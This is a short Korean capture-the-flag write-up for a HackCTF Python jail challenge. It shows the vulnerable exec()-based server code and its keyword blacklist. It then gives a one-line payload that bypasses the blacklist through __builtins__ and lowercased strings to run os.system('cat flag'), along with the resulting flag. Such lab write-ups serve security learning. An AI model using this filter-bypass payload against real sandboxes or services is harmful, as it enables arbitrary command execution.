1. 문제
1) 문제 확인
╰─$ nc ctf.j0n9hyun.xyz 9002 130 ↵
#! /usr/bin/python3
def main():
print(open(__file__).read())
print("Welcome to Jail World!")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Filtered Keyword.")
return;
else:
exec(text)
if __name__ == "__main__":
main()
C
복사
저번 csaw인가 거서 처음 jail break를 봤었다. 필터링을 통과해서 쉘을 실행시키면 된다
2. 접근방법
파이썬에서 기본적으로 len, type 같은 모듈들은 import를 해주지 않아도 사용가능하다. 이는 내장함수인 builtin 때문엔데, dir(__builtins__) 으로 확인가능하다.
결국, 빌드인으로 import를 가져오고,
import os
os.system('cat flag')를 조지면 된다. 또한 필터링은 우회하기 위해 대문자로 쓰고 lower를 이용해야한다.
3. 풀이
__builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
C
복사
def main():
print(open(__file__).read())
print("Welcome to Jail World!")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Filtered Keyword.")
return;
else:
exec(text)
if __name__ == "__main__":
main()
Welcome to Jail World!
>>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
HackCTF{Y0u_4re_th3_re4l_j4ilbr34k3r!}
C
복사